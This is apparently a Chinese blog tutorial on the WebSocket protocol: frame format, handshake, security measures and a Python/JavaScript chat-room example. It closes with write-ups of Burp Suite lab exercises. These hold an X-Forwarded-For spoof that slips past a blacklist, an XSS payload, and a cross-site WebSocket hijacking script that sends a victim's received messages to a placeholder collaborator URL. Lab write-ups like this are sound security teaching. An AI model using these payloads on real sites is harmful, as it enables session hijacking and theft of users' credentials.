WebSocket是什么?
WebSocket是一种在Web应用程序中实现实时双向通信的协议。它允许在客户端和服务器之间建立持久性连接,使得双方可以通过该连接进行长时间的数据传输。
WebSocket协议位于应用层,它提供了一种基于TCP协议的全双工通信机制,WebSocket在建立连接时依赖HTTP/HTTPS协议。
主要用途
WebSocket的主要用途是实现实时的双向通信。它可以用于许多不同类型的应用,包括但不限于:
- 在线聊天应用:允许用户实时发送和接收消息,而无需页面刷新或轮询服务器。
- 实时协作应用:支持多用户实时编辑文档或共享白板等场景。
- 实时游戏:允许多个玩家之间进行实时的游戏交互。
- 实时数据展示:用于显示实时数据,如股票市场变化、天气预报更新等。
- 实时通知和提醒:用于向用户发送实时的通知消息,如新邮件提醒、社交媒体通知等。
- 在线会议和视频通话:支持实时的音视频通信。
通信模式
WebSocket 支持以下几种通信模式:
一对一通信:
- WebSocket 最常见的使用方式是一对一的通信模式,其中一个客户端与一个 WebSocket 服务器之间建立一条连接,实现双向的实时通信。这种模式适用于聊天应用、实时通知等场景。
一对多通信:
- WebSocket 也支持多个客户端同时连接到同一个 WebSocket 服务器的通信模式。在这种模式下,服务器可以向所有连接到它的客户端广播消息,或者向特定的客户端发送消息。这种模式适用于群聊、广播通知等场景。
多对多通信:
- WebSocket 支持多对多的通信模式,其中多个客户端之间建立 WebSocket 连接,并且能够相互之间进行通信。在这种模式下,每个客户端都可以与其他客户端进行直接的双向通信,而服务器则充当中间人进行消息的转发和管理。这种模式适用于实时协作、实时游戏等应用场景。
优缺点
优点 | 缺点 |
---|---|
实现了实时双向通信 | 不支持跨域通信 |
具有较低的网络开销和较高的实时性 | 部分浏览器和网络设备可能不支持 WebSocket |
简单易用,易于集成到现有的 Web 应用中 | 需要额外的服务器资源来维护长连接 |
支持服务器主动向客户端推送数据 | 可能会增加服务器端的复杂性 |
可以减少 HTTP 请求头和响应头的大小,降低网络延迟和流量 | 需要保证 WebSocket 连接的稳定性和可靠性 |
报文格式
WebSocket报文格式相对简单,由帧(Frame)组成。
基本的WebSocket帧结构包括:FIN
、RSV
、Opcode
、Mask
、Payload Length
、Masking Key
和Payload Data
等字段。
- FIN (1 bit):表示该帧是否是消息的最后一帧。如果该位被设置为1,表示这是消息的最后一帧;如果为0,表示后续还有帧组成同一个消息。
- RSV1, RSV2, RSV3 (1 bit each):保留位,用于扩展,目前应该始终为0。
Opcode (4 bits):指示帧的类型,有以下几种可能的取值:
- 0x0:表示一个连续的数据帧。
- 0x1:表示一个文本帧。
- 0x2:表示一个二进制帧。
- 0x8:表示一个连接关闭帧。
- 0x9:表示一个Ping帧。
- 0xA:表示一个Pong帧。
- 其他值为保留值,不常用。
- Mask (1 bit):标识是否对Payload Data进行掩码处理。如果为1,表示数据被掩码处理;如果为0,表示数据没有被掩码处理。
- Payload Length (7 bits):指示Payload Data的长度。如果Payload Length的值在0~125之间,则表示Payload Data的实际长度。如果值为126,则后续2个字节将被用来表示Payload Data的扩展长度。如果值为127,则后续8个字节将被用来表示Payload Data的扩展长度。
- Extended Payload Length:当Payload Length的值为126或127时,用于表示Payload Data的扩展长度。长度为2个字节或8个字节,取决于Payload Length字段的值。
- Masking-key (4 bytes):如果Mask标志位为1,则存在4字节的掩码密钥,用于对Payload Data进行解码。如果Mask标志位为0,则不存在该字段。
- Payload Data:WebSocket 帧中携带的实际数据,它是根据 Payload Length 字段指示的长度而确定的。在 WebSocket 协议中,Payload Data 可以是文本数据、二进制数据或其他任何形式的数据,具体取决于发送方和接收方之间的协商。
握手过程
WebSocket 握手过程是客户端和服务器之间建立 WebSocket 连接的过程,它遵循 HTTP 协议的规范。
下面是 WebSocket 握手的基本步骤:
客户端发送握手请求:
- 客户端向服务器发送一个 HTTP 请求,请求的路径是 WebSocket 的目标地址(URL)。
- 请求头中包含了一些 WebSocket 相关的头信息,如
Upgrade: websocket
、Connection: Upgrade
、Sec-WebSocket-Key
等。其中,Sec-WebSocket-Key
是一个随机的 Base64 编码的字符串,用于确保服务器能够识别客户端的 WebSocket 请求。
服务器响应握手请求:
- 服务器收到客户端的握手请求后,返回一个 HTTP 响应,状态码为
101 Switching Protocols
,表示协议切换。 - 响应头中包含了一些必要的信息,如
Upgrade: websocket
、Connection: Upgrade
、Sec-WebSocket-Accept
等。其中,Sec-WebSocket-Accept
是通过将客户端请求头中的Sec-WebSocket-Key
加上一个特定的 GUID(全局唯一标识符),然后计算 SHA-1 摘要后进行 Base64 编码得到的。
- 服务器收到客户端的握手请求后,返回一个 HTTP 响应,状态码为
建立连接:
- 客户端收到服务器的响应后,表示 WebSocket 连接建立成功,此时客户端和服务器之间的通信将转换为 WebSocket 协议。
- 之后的通信将通过 WebSocket 协议进行,不再受限于传统的 HTTP 请求-响应模式。
如何使用?
绝大多数主流的编程语言都有支持 WebSocket 的库或框架,使得开发者可以方便地在其应用程序中实现 WebSocket 功能。以下是一些常见编程语言及其对应的 WebSocket 库:
- JavaScript/Node.js:
ws
、socket.io
- Python:
websockets
、socket.io-client
- Java:
javax.websocket
、Java-WebSocket
- C#:
WebSocketSharp
、SignalR
- Go:
gorilla/websocket
、nhooyr/websocket
- Ruby:
websocket-ruby
、faye-websocket
- PHP:
ratchet/pawl
、cboden/Ratchet
websocket如何保证通信的安全性
WebSocket 本身并没有提供通信的安全性,但可以通过其他机制来增强通信的安全性,例如使用 TLS/SSL 加密连接。
以下是保证 WebSocket 通信安全性的一些方法:
- 使用 TLS/SSL 加密连接:通过在 WebSocket 连接上使用 TLS/SSL 加密,可以确保通信数据在传输过程中是加密的,从而防止数据被窃取或篡改。您可以在 WebSocket URL 中使用
wss://
协议来指定安全的 WebSocket 连接。 - 身份验证:您可以在 WebSocket 连接建立时进行客户端和服务器之间的身份验证,以确保只有授权用户才能建立连接并进行通信。可以使用令牌、证书或其他身份验证机制来实现身份验证。
- 消息签名和验证:在发送和接收消息时,可以使用数字签名来确保消息的完整性和真实性。发送方使用私钥对消息进行签名,接收方使用公钥验证签名,以确保消息没有被篡改。
- 防止跨站请求伪造(CSRF)攻击:在使用 WebSocket 时,确保采取措施来防止 CSRF 攻击。可以通过实现基于令牌的身份验证和验证来源来防止 CSRF 攻击。
- 限制连接:可以限制允许连接到 WebSocket 服务器的客户端数量,并实施连接速率限制,以防止恶意行为和拒绝服务攻击。
- 定期审查和更新安全策略:定期审查和更新安全策略,包括 TLS/SSL 配置、身份验证机制和访问控制策略,以确保与最新的安全标准和最佳实践保持一致。
Python使用WebSocket
以下是一些常用的Python WebSocket库:
库名称 | 说明 |
---|---|
websockets | 1. 提供了简单而强大的API,易于使用 。 2. 支持 异步 操作,适用于高性能的WebSocket应用程序。3. 可以同时作为 客户端 和服务器 端使用。 4. 具有良好的文档和活跃的社区支持。 |
autobahn-python | 1. 功能丰富 ,提供了完整的WebSocket协议实现。 2. 支持 高级特性 ,如消息压缩、WebSocket扩展等。 3. 提供了WebSocket 客户端 和服务器 端的实现。 4. 与Twisted框架紧密集成,支持 异步 操作。 5. 适用于复杂的WebSocket应用场景,如实时游戏、聊天应用等。 |
socket.io-client-python | 1. 是Python版本的Socket.IO客户端库,兼容JavaScript版Socket.IO 。 2. 提供了与JavaScript版Socket.IO类似的API, 易于使用 。 3. 支持WebSocket传输和轮询传输两种方式。 4. 适用于与使用Socket.IO实现的WebSocket服务器进行通信。 |
Tornado | 1. 是一个强大的异步Web框架 ,支持WebSocket通信。 2. 提供了WebSocket 客户端 和服务器 端的实现。 3. 集成了WebSocket路由和处理器,方便WebSocket应用程序的开发。 4. 适用于需要高性能异步通信的应用场景,如实时数据传输、即时通讯等。 |
django-websocket-redis | 1. 基于Django框架,使用Redis作为消息队列,用于实现WebSocket通信。 2. 可以轻松地集成到Django应用程序中。 3. 提供了简单而有效的API来处理WebSocket连接。 4. 适用于需要在Django应用程序中实现WebSocket通信的场景。 |
aiowebsocket | 1. 是一个基于异步IO的WebSocket库,专门用于Python的asyncio框架。 2. 提供了异步的WebSocket客户端和服务器端实现。 3. 适用于需要在asyncio框架下进行高性能异步通信的应用场景。 |
Flask-SocketIO | 1. 支持房间管理功能,可以将客户端分组到不同的房间中,并在房间内进行广播或单播消息。 2. 具有跨浏览器兼容性,能够在各种主流浏览器中稳定运行。 3. 集成简单,易于安装和使用,且有良好的文档和社区支持。 |
websockets模块使用
详细用法请查阅:
使用websockets模块实现一个简单的聊天室案例:用户通过浏览器进入聊天室,多个用户可实时聊天。前端采用Javascript+html
。前端代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebSocket 聊天室</title>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
.container {
width: 80%;
margin: 0 auto;
text-align: center;
padding-top: 20px;
}
.chat-container {
display: flex;
flex-direction: column;
border: 1px solid #ccc;
border-radius: 5px;
overflow: hidden;
margin-top: 20px;
height: 400px; /* 设置容器的固定高度 */
}
.message-container {
flex-grow: 1;
overflow-y: auto;
padding: 10px;
}
.message {
margin-bottom: 10px;
max-width: 100%; /* 让消息div宽度占满容器 */
}
.message.received {
text-align: left;
background-color: #f0f0f0;
border-radius: 5px;
padding: 5px 10px;
}
.message.sent {
text-align: right;
background-color: #e2f3f5;
border-radius: 5px;
padding: 5px 10px;
}
#message {
width: 100%;
height: 40px;
margin-top: 20px;
border: 1px solid #ccc;
border-radius: 5px;
padding: 0 10px;
box-sizing: border-box;
}
</style>
</head>
<body>
<div class="container">
<h1>WebSocket 聊天室</h1>
<div class="chat-container">
<div class="message-container" id="messages"></div>
<input type="text" id="message" placeholder="输入消息并按 Enter 发送">
</div>
</div>
<script>
var socket = new WebSocket("ws://localhost:8765");
socket.onopen = function(event) {
console.log("WebSocket 连接已建立");
};
socket.onmessage = function(event) {
var messageDiv = document.createElement("div");
messageDiv.textContent = event.data;
messageDiv.className = "message received";
document.getElementById("messages").appendChild(messageDiv);
scrollToBottom();
};
document.getElementById("message").addEventListener("keypress", function(event) {
if (event.key === "Enter") {
var message = this.value;
var messageDiv = document.createElement("div");
messageDiv.textContent = message;
messageDiv.className = "message sent";
document.getElementById("messages").appendChild(messageDiv);
scrollToBottom();
socket.send(message);
this.value = "";
}
});
function scrollToBottom() {
var messageContainer = document.getElementById("messages");
messageContainer.scrollTop = messageContainer.scrollHeight;
}
</script>
</body>
</html>
后端代码如下:
import asyncio
import websockets
from datetime import datetime
# 客户端列表,用于存储所有连接到服务器的客户端
clients = set()
# 处理新连接的函数
async def handle_client(websocket, path):
# 添加新连接的客户端到客户端列表
clients.add(websocket)
try:
# 获取当前时间,格式化时分秒
now = datetime.now()
time_format = now.strftime("%H:%M:%S")
# 发送欢迎消息给新连接的客户端
client_addr = websocket.remote_address
print(f"{time_format} Client {client_addr} connected!")
welcome_message = "已连接服务器"
await websocket.send(welcome_message)
# 循环处理客户端发送的消息
async for message in websocket:
# 将收到的消息发送给所有连接到服务器的客户端
for client in clients:
# 获取当前时间,格式化时分秒
now = datetime.now()
time_format = now.strftime("%H:%M:%S")
print(f"{time_format} Received Client {client.remote_address} message: {message}") # 打印收到的消息
await client.send(message)
finally:
# 当连接关闭时,从客户端列表中移除对应的客户端
client_addr = websocket.remote_address
print(f"Client {client_addr} disconnected!")
clients.remove(websocket)
# 启动 WebSocket 服务器
start_server = websockets.serve(handle_client, "localhost", 8765)
# 启动事件循环,等待连接
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
启动WebSocket服务后,启用http服务,然后浏览器即可连接websocket进入聊天室进行群聊:
WebSocket漏洞检测和利用
和其它协议的漏洞检测和利用一样,无非就是业务层面和协议层面。业务层面和正常HTTP的测试一样,就是拦截、篡改、重放等。拦截WebSocket修改数据插入Payload进行测试,既可以针对请求头,也可以针对请求体;既可以针对服务端测试,如SQL注入、命令注入、RCE等等,也可以针对客户端测试,如XSS等。协议层面也和通常的协议测试一样,就是fuzz、溢出、拒绝服务等等了。
操纵 WebSocket 握手以利用漏洞
WebSocket连接建立过程中的漏洞,主要针对请求头的漏洞,例如:
- 错误地信任 HTTP 标头来执行安全决策,例如
X-Forwarded-For
、Origin
等标头。 - 会话处理机制存在缺陷,因为处理 WebSocket 消息的会话上下文通常由握手消息的会话上下文决定。
- 应用程序使用的自定义 HTTP 标头引入的攻击面。
使用Burp提供的Lab环境进行测试:操纵 WebSocket 握手以利用漏洞
Lab的目的是操纵WebSocket连接过程中的请求头来绕过访问限制。
访问Lab的实时聊天功能,照常插入XSS Payload后返回攻击被检测:
再次访问后返回"This address is blacklisted"。然后在Proxy
设置的Match and replace rules
中添加一个请求头X-Forwarded-For: 127.0.0.1
:
检测到攻击仍然会限制访问,只需要再次修改X-Forwarded-For
标头的值即可,然后发送XSS的一些绕过Payload即可:
操纵WebSocket消息以利用漏洞
WebSocket连接建立之后通信过程的漏洞,主要针对请求体。
使用Burp提供的Lab环境进行测试:操纵WebSocket消息以利用漏洞
Lab的目的是拦截WebSocket消息并篡改,使服务器返回的消息造成XSS。
Tips:
- 使用火狐浏览器通过Burp代理可能无法建立WebSocket连接,可以使用Burp的浏览器即可:
- 无法拦截WebSocket消息时,取消Burp默认HTTP/2的选项,选择
HTTP/1 keep-alive
:
直接输入XSS Payload发现没有解析,查看WebSocket消息,可以看到客户端发送给服务端的消息和服务端返回给客户端的消息均经过HTML编码:
拦截WebSocket消息后,将经过HTML编码的消息替换为编码前的消息:
重放之后查看浏览器可以看到返回的消息已经是HTML标签了,只不过没有被解析执行:
替换Payload为:<img src=1 onerror=alert(1)>
,重放之后成功执行:
跨站点 WebSocket 劫持
跨站点WebSocket劫持(Cross-Site WebSocket Hijacking,CSWSH),也称为跨源 WebSocket 劫持。当 WebSocket 握手请求仅依赖 HTTP cookie 进行会话处理并且不包含任何 CSRF 令牌或其他不可预测的值时,就会出现这种漏洞。
攻击者利用受害者在特定网站上的登录会话,通过恶意网页创建与受害者已登录网站的WebSocket连接,从而劫持该连接,发送恶意指令或者获取敏感信息。如用户在正常网站A进行了WebSocket通信,发送和解释了一些信息或指令,攻击者制作了一个钓鱼网站B(构造了网站A中的WebSocket连接和恶意指令)发送给用户,当用户访问网站B时,会建立WebSocket连接并执行恶意指令,达到攻击者的目的。
与传统的跨站请求伪造(CSRF)类似,CSWSH 也是一种利用受害者的身份和权限进行的攻击。
漏洞影响:
- 冒充受害者用户执行未经授权的操作:与常规 CSRF 一样,攻击者可以向服务器端应用程序发送任意消息。如果应用程序使用客户端生成的 WebSocket 消息执行任何敏感操作,则攻击者可以跨域生成合适的消息并触发这些操作。
- 检索用户可以访问的敏感数据:与常规 CSRF 不同,跨站点 WebSocket 劫持使攻击者能够通过被劫持的 WebSocket 与易受攻击的应用程序进行双向交互。如果应用程序使用服务器生成的 WebSocket 消息将任何敏感数据返回给用户,那么攻击者可以拦截这些消息并捕获受害用户的数据。
使用Burp提供的Lab环境进行测试:跨站点 WebSocket 劫持
Lab的目的是利用CSWSH漏洞窃取用户敏感信息。
访问目标进行在线聊天的时候,通过浏览器开发者工具可以看到会发送READY
指令,然后收到聊天记录。直接根据提示的跨站点WebSocket劫持Payload进行构造:
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
此代码会连接WebSocket服务,然后发送READY
指令,然后将获取的消息通过POST方法提交到指定的url。
使用Burp提供的Exploit Server
构造钓鱼链接,替换Payload中的WebSocket服务url,将提交的url替换为Collaborator
生成的Payload并放入Body:
然后点击Store
和Deliver exploit to victim
,Lab环境会自动模拟用户点击钓鱼链接,然后就会触发跨站点WebSocket劫持攻击,在Collaborator
组件可以看到请求记录和受害者消息记录,从而获取受害者密码:
Comments | NOTHING